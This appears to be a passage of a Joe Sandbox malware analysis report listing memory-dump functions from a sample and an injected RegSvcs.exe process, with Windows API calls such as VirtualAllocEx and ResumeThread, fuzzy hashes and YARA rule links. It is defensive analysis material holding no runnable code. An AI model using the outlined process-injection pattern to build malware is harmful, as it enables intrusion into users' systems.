Instruction ID: c089ce0262c3527e78c00b25d8bc75415b431f113e4dac30166d5f72b546c803
Opcode Fuzzy Hash: 0197ac2bb6e74f0572c144f088d54ea811e828ad8a20caec6e8346ca05b135c1
Instruction Fuzzy Hash: 30218976800248CFCB10DFAAC845ADEBFF5EF48320F20841AE559A7250C7359585CFA1

Function 06F8C708 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06F8C776

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0c86631ef9abfa65bd8f3ac93b15cf038d1322daf9b8a974bd299918d3faaa30
Instruction ID: 9a70e21f652eafd54b112193a0436c7feb363bf71253cbfe565a4b210e9c2ead
Opcode Fuzzy Hash: 0c86631ef9abfa65bd8f3ac93b15cf038d1322daf9b8a974bd299918d3faaa30
Instruction Fuzzy Hash: 0C1134B29002499FCB10DFAAC845BDFBFF5EF88320F208419E559A7260C775A944CFA4

Function 06F8BD09 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06F8BD72

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c555928d5bf1ecfb7d2240711c5b47fc0293f6bdc87675cce6f801f88a199395
Instruction ID: baa2b9f0b78303311d1767beb13043d9f219f3003f3ffc5deabaa429a62dd8b8
Opcode Fuzzy Hash: c555928d5bf1ecfb7d2240711c5b47fc0293f6bdc87675cce6f801f88a199395
Instruction Fuzzy Hash: 711149B1D002498FDB20DFAAC4457DEFFF5EF88324F208419D459A7250CB756944CB94

Function 06F8BD10 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06F8BD72

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7e90b60c3c4c810b133c70845c15bdbc888fd16cbd86038e8d527864ca51c890
Instruction ID: b80b2a40caa2bbdb4b7209ad547cd9d51e4a317fed78e0bd3c1905064aedb01b
Opcode Fuzzy Hash: 7e90b60c3c4c810b133c70845c15bdbc888fd16cbd86038e8d527864ca51c890
Instruction Fuzzy Hash: 371136B1D002498FCB20DFAAC8457DEFBF5EF88324F208429D459A7250CB75A944CFA4

Function 0281B320 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0281B386

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 09138988ed9b3e06c7b7cde2ae1afb3ab534de0103165bcde38ceac369eeffd5
Instruction ID: 205d4402a1657b2bbf71bda965842586124378ec48c9bacae696fda74f74ec28
Opcode Fuzzy Hash: 09138988ed9b3e06c7b7cde2ae1afb3ab534de0103165bcde38ceac369eeffd5
Instruction Fuzzy Hash: F01110B9C003498FCB10CF9AD444ADEFBF8EB88324F14842AD419B7250C375A545CFA1

Function 06F8FED1 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06F8FF35

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 12b7d418781ccef318cdde3e202c19350e3a2da5dd48e5fcaac183cc4f8c04ea
Instruction ID: 59390a0df7b021aa93bd22cce78f054ebc1101523edc465c265735e28454fedc
Opcode Fuzzy Hash: 12b7d418781ccef318cdde3e202c19350e3a2da5dd48e5fcaac183cc4f8c04ea
Instruction Fuzzy Hash: 661115B5800348DFDB10DF99D945BDEBFF8EB58324F10845AE558A7210C375A984CFA5

Function 06F8FED8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06F8FF35

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 79074f8301f38ccb9d43f7b88fa0a25a3b6489cd34cb246edb8374f19fb1cf4f
Instruction ID: bbbf40b8a93ce752dea5e665953b52d8bcefeb7b2e20a70375ad6cc9f57c622d
Opcode Fuzzy Hash: 79074f8301f38ccb9d43f7b88fa0a25a3b6489cd34cb246edb8374f19fb1cf4f
Instruction Fuzzy Hash: 561100B5800348DFCB10DF9AC889BDEBBF8EB48324F10845AE558A7210C375A984CFA1

Function 0A551128 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1837984375.000000000A550000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a550000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d8034c6e4f9bff61052e1d691ba537db9c3c9d5629f158230155aa56566c95
Instruction ID: 99923fddff2547ccca233568d19c14aaa1046bccc02204c03722ef24e5bd5680
Opcode Fuzzy Hash: d2d8034c6e4f9bff61052e1d691ba537db9c3c9d5629f158230155aa56566c95
Instruction Fuzzy Hash: 82A14934B012049FD714EB69D564BAEBBF6BF89300F2541A9E905EB3A1CB31DD01CB51

Function 00ADD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1820046682.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_add000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0c5289eaf5937352fe908565001eccc3a0cfebe20cfabf4e66b0c9709a0a17
Instruction ID: bd0bfd9e69af8dc0d64559fef1a6d26193067be09089727c11ee44fab34e7cb0
Opcode Fuzzy Hash: cf0c5289eaf5937352fe908565001eccc3a0cfebe20cfabf4e66b0c9709a0a17
Instruction Fuzzy Hash: B82103B1540240EFCB05DF14E9C0B26BF65FB98318F20C56AE80A0B356C336D856CBA1

Function 00ADD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1820046682.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_add000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01bc47fa013dff2b7d54bab5a05d6d14ee3d32f486c87ba85f94ce37291fbb3d
Instruction ID: 0851b1e90506577a8ecd98cbc5f593e2824baa7059d449e8db092d49f8cbaa96
Opcode Fuzzy Hash: 01bc47fa013dff2b7d54bab5a05d6d14ee3d32f486c87ba85f94ce37291fbb3d
Instruction Fuzzy Hash: 672125B1500204EFDB05DF14D9C4B2ABF75FB98324F20C56AE90A4F356C336E856CAA2

Function 00DED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1821488540.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ded000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60f66ee3a086ee40ea91bf7a1205a22ece65f51911c7cf7087a8a5cafb8c5da8
Instruction ID: 268e2ed1f6914781503a202e08eca91a83b99ffd08661f429e311e454bfc37b9
Opcode Fuzzy Hash: 60f66ee3a086ee40ea91bf7a1205a22ece65f51911c7cf7087a8a5cafb8c5da8
Instruction Fuzzy Hash: 0621F271604280DFCB14EF15D984B26BBA6FB84314F28C569E84A4B296CB3AD847CA71

Function 00DED1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1821488540.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ded000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf1a7e0d2a292bfc1dd7113ea4e8d9092f7936b23f21ef0f21060a533d0c133
Instruction ID: 55c8b4446a911dc7a9633e1902e1d8d75309951c8e9b403d827e608f1540c743
Opcode Fuzzy Hash: 5bf1a7e0d2a292bfc1dd7113ea4e8d9092f7936b23f21ef0f21060a533d0c133
Instruction Fuzzy Hash: C7214971504280EFCB01EF15C5C0B2ABBA6FB84314F34C56DDA494B295CB36D846CA71

Function 00DED005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1821488540.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ded000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b2eaf60a358a1bccf55cadfe03702151b725111d50d13a579937db72dd96b73
Instruction ID: 543c8db8f59f5abded5555657df3c4dc7e25761069327819ba6ebe8dff1280f3
Opcode Fuzzy Hash: 7b2eaf60a358a1bccf55cadfe03702151b725111d50d13a579937db72dd96b73
Instruction Fuzzy Hash: 71215E755093C08FDB12DF24D994715BF72EB46314F28C5EAD8498F6A7C33A980ACB62

Function 00ADD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1820046682.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_add000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 44c1b3bf650aa77bfe164641477418ad43885590b909cdbd78e65f436b67e611
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 1C11D376504280DFCB16CF14D5C4B16BF71FB94318F24C6AAD84A0B756C336D85ACBA1

Function 00ADD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1820046682.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_add000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: aeaa552d8b3e9efcb0839fa664057d88822349d3a2b36e64df06b4a584ebf931
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 5111D3B6504240DFDB16CF14D5C4B16BF71FB94324F24C6AAD90A0B756C33AE85ACBA1

Function 00DED1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1821488540.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ded000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 7193a001b3aff324f1d50d826aba93b0f8b3ac83b6a3d23c610e9eb616671cca
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 0B11BB75504280DFCB02DF10C5C4B15BBA2FB84314F28C6AAD9494B296C33AD80ACB61

Function 00ADD759 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1820046682.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_add000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e476c82622f5b3ad4aa4e62481af78396d2ae7d4b22410751868eb79ef9ac406
Instruction ID: bb58163e0db692f8189b3139c286c99dc7ac62d923dd1c864019a573c2f8360c
Opcode Fuzzy Hash: e476c82622f5b3ad4aa4e62481af78396d2ae7d4b22410751868eb79ef9ac406
Instruction Fuzzy Hash: 6E01A2710083409AE7108B6ADD84B67BFE8EF51724F18C9ABED0A4A396C279DC40C6B1

Function 0A5502D0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1837984375.000000000A550000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a550000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc87af2e9161a1f0f4337be499830f399d3668e3c4260149673c1f4be1ace33
Instruction ID: bebb86c4c3740764f3832b4538888692cf20daab73c533f143790336f6e3ade0
Opcode Fuzzy Hash: 8fc87af2e9161a1f0f4337be499830f399d3668e3c4260149673c1f4be1ace33
Instruction Fuzzy Hash: 1F010870D04259DFCB40DFB5D858BBEBBF0BB4A302F0584AAA424B3291DB784A40DF54

Function 0A5502CF Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1837984375.000000000A550000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a550000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5234231a428eb80cc1d45f8358dce85005a8de1468f0b186b63673a3e087cad2
Instruction ID: 51e4c72db40690d8054e592fe3a07457d79a72e28ee525a9fbb133befdd7a96c
Opcode Fuzzy Hash: 5234231a428eb80cc1d45f8358dce85005a8de1468f0b186b63673a3e087cad2
Instruction Fuzzy Hash: F3010470904259DFCB409FB4D858BBDBBB0BB0A302F0584AAA824A7291DB344A40DB54

Function 0A5502C2 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1837984375.000000000A550000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a550000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f8167c9720d3ea9646db3f79cdb2ff7a5c5542bce8e290013a8f270727ea0d
Instruction ID: a585d60fbfbdd48ffb2c42218a4dc259698b9abf355e0764733bd132c8f076bf
Opcode Fuzzy Hash: 55f8167c9720d3ea9646db3f79cdb2ff7a5c5542bce8e290013a8f270727ea0d
Instruction Fuzzy Hash: 5CF01D34908259DFC7018F71D868BFDBBB0FB46302F1544D6E855B7291C6344B84DB14

Function 00ADD758 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1820046682.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_add000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b578dfcf737a57ee2c54dbe7af6bc3f366e928726f866de1c70aeb79f4558b1
Instruction ID: 9627a4c1fce5dc5aa1c9a73e298f6954efd3071ac387304c4affd7c6a33705c3
Opcode Fuzzy Hash: 7b578dfcf737a57ee2c54dbe7af6bc3f366e928726f866de1c70aeb79f4558b1
Instruction Fuzzy Hash: EAF062714043449EE7148B1ADD88B62FFA8EF51724F18C45AED094E396C2799C44CAB1

Analysis Process: RegSvcs.exePID: 3608, Parent PID: 7876COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 06D230D0 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D237F3
$^q, xrefs: 06D237CF
$^q, xrefs: 06D237B2
$^q, xrefs: 06D237FF
$^q, xrefs: 06D237DB
$^q, xrefs: 06D237A6

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 85651206c650e756c3cdea704b9132a01501b0d4d5744f8c2fc26a61ff69e476
Instruction ID: 980cabeea051f5b897d4de4dfef278c6c7a0ffe69c236aafd539bad8079a6a6e
Opcode Fuzzy Hash: 85651206c650e756c3cdea704b9132a01501b0d4d5744f8c2fc26a61ff69e476
Instruction Fuzzy Hash: 74323C30E1061ACBDB14DF74C8945ADF7B6FF99304F1186AAD409AB224EB34ED85CB91

Function 06D291D0 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D2925E
$^q, xrefs: 06D29217
$^q, xrefs: 06D29223
$^q, xrefs: 06D29252

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 604c2074ab98bf391bf1424e626db8dd4eb94d09b1f9bf170f2001fd0968dafb
Instruction ID: 272039ebe3aa6f7a0dc78c130f1677f9fe01c2f025be9cbe1247a7ff14c48669
Opcode Fuzzy Hash: 604c2074ab98bf391bf1424e626db8dd4eb94d09b1f9bf170f2001fd0968dafb
Instruction Fuzzy Hash: BD912D30F0021A9FDB54DB65D860BAEB3F6EF89208F108569D40DEB344EE75EC468B91

Function 06D24BE0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 06D24C0B
XPcq, xrefs: 06D24D31
\Ocq, xrefs: 06D24DBB

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: e7457dff6d2f01a705950ca1beff33f1eb4a130309efc32b185885f0d27caa07
Instruction ID: 75d0263b4901626b0a2ede72bfa0959b93f2b0e02a87555e8e1323f5b7517b13
Opcode Fuzzy Hash: e7457dff6d2f01a705950ca1beff33f1eb4a130309efc32b185885f0d27caa07
Instruction Fuzzy Hash: 4F617D30F102199FEB559FA8C8547AEBBF6FB88700F208429D50AEB394DB758C45CB91

Function 06D280F8 Relevance: 2.7, Strings: 2, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D28163
$^q, xrefs: 06D2816F

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: d515745bcbbdd467e6d657990b021304395878bf3e84c08a8fb9e6f7cc66658e
Instruction ID: b5b9dd66dca451ed3ea169505b42489b47d7e5ed4e6bb80c04bfd66a7b0e8782
Opcode Fuzzy Hash: d515745bcbbdd467e6d657990b021304395878bf3e84c08a8fb9e6f7cc66658e
Instruction Fuzzy Hash: 0891AE30B002168FDB55DF79D94066EB3A6FF98309F108529D405DB394EB74EC8ACB91

Function 06D291CB Relevance: 2.7, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D29217
$^q, xrefs: 06D29252

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: e69188da1a66aefb0343daf4fa1998d24ead3ec38deb90c4db7cd11b62c4e6a2
Instruction ID: 604c4140a63a535a4077978fb45ed25e47c8ceb26e8d3b8cfdc43dcca81fe202
Opcode Fuzzy Hash: e69188da1a66aefb0343daf4fa1998d24ead3ec38deb90c4db7cd11b62c4e6a2
Instruction Fuzzy Hash: E5513E30B001169FDB54DB75D8A0BAE73FAEB88648F108429C40DDB384EE75EC428B95

Function 06D24BD0 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 06D24C0B
XPcq, xrefs: 06D24D31

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: af3b4805a3882c256164e502d980b0a76af422216149aa53cee966647930d41e
Instruction ID: aaeaaf0f91e7b136e574ca7a1391d66c5fccd5fef9a37267fb23e7bf871fa7ef
Opcode Fuzzy Hash: af3b4805a3882c256164e502d980b0a76af422216149aa53cee966647930d41e
Instruction Fuzzy Hash: 21517F70F102199FEB559FA5C854BAEBAF7FFC8700F208529E505AB394DA758C01CB91

Function 016DEC39 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.4156045969.00000000016D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_16d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6037d14e14d240a35a2de15af937a088e6e548d129d5ffa0b3b2cd485066ee8f
Instruction ID: 0e80188ba75a874fbd2f36a16586092b66ce0d47ad52bb379c4eaaa8080b4fdc
Opcode Fuzzy Hash: 6037d14e14d240a35a2de15af937a088e6e548d129d5ffa0b3b2cd485066ee8f
Instruction Fuzzy Hash: BC412072D003599FCB14DFBAE8046DEBFF5AF89210F14856AD908A7351DB349845CBE1

Function 06D25938 Relevance: 1.6, Strings: 1, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06D25963

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: e13b70129b5b0bdde75cc87b4a9a679d506797eb2d3cd0b9674903c1d22c1b41
Instruction ID: 255be686d41a2bdf1efcd813842a7cc0ae276a68a7e59b7ca3d0db28f4103646
Opcode Fuzzy Hash: e13b70129b5b0bdde75cc87b4a9a679d506797eb2d3cd0b9674903c1d22c1b41
Instruction Fuzzy Hash: 62C1AA35F0021A8FDB14DBA4D894AAEB7F6EF88324F208469D406AB354DA31DD46CB91

Function 016DED20 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 016DED87

Memory Dump Source

Source File: 0000000D.00000002.4156045969.00000000016D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_16d0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 3d50ffdd244dd0811e1dbc614883ff0844c049d7c68dbd305bbdc15c993875af
Instruction ID: 9bd1985d02c9c84fd3fe56d99bfa26299d3cf0c43e5781372769b199a11a15f8
Opcode Fuzzy Hash: 3d50ffdd244dd0811e1dbc614883ff0844c049d7c68dbd305bbdc15c993875af
Instruction Fuzzy Hash: 7E1123B2C002599BDB10DF9AC844BDEFBF4FF48320F10812AD818A7240D778A940CFA5

Function 06D2592D Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

$, xrefs: 06D25963

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 9aa6ab7b5074bc01f387f9e3472a59a39174877f69d9a883eb60c9cd3b8e29e9
Instruction ID: 006fec00bf2df2290993ff11270b549c577061043ddde10a3bb2fdae58f62a00
Opcode Fuzzy Hash: 9aa6ab7b5074bc01f387f9e3472a59a39174877f69d9a883eb60c9cd3b8e29e9
Instruction Fuzzy Hash: 15817971E002199FDB14DFA4C958AEEBBF2FF88714F208168D405BB354DA71AD46CBA1

Function 06D2DB33 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D2DC89

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 81961dadedd95e66db3ccff5b51420e1f78ea62340872d67689881349697f02b
Instruction ID: 65b5da7456d68513140b13d8b6c6600caf416e4296229d380ff1e56ab0d8a60b
Opcode Fuzzy Hash: 81961dadedd95e66db3ccff5b51420e1f78ea62340872d67689881349697f02b
Instruction Fuzzy Hash: B841C130E0021A9FDB65DF65D85469EBBB7FF95304F204529E401EB240EBB0D946CB91

Function 06D22267 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D223B3

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 856756cfb9fadfd34413a82be1a7ad5d80e0b008e0e5e70d41dd7fcb3d4792e1
Instruction ID: efb68904a8a9fc93df9ff5bd6d9362cf105ffaab425bdc69304bb65573303457
Opcode Fuzzy Hash: 856756cfb9fadfd34413a82be1a7ad5d80e0b008e0e5e70d41dd7fcb3d4792e1
Instruction Fuzzy Hash: DA31EF30B002129FDB659B74C8146AE7BA7BF99308F10452CE406DB394EE35CE42CBA1

Function 06D22278 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D223B3

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 9b8efbabeb27c22123dd90658d6def1ca4bfca991f0eb38077e01b46067f60cc
Instruction ID: 8019584ec13d730b15eb159e7131c2c58c8ef1829b29d244dac7eeaf1909b4b7
Opcode Fuzzy Hash: 9b8efbabeb27c22123dd90658d6def1ca4bfca991f0eb38077e01b46067f60cc
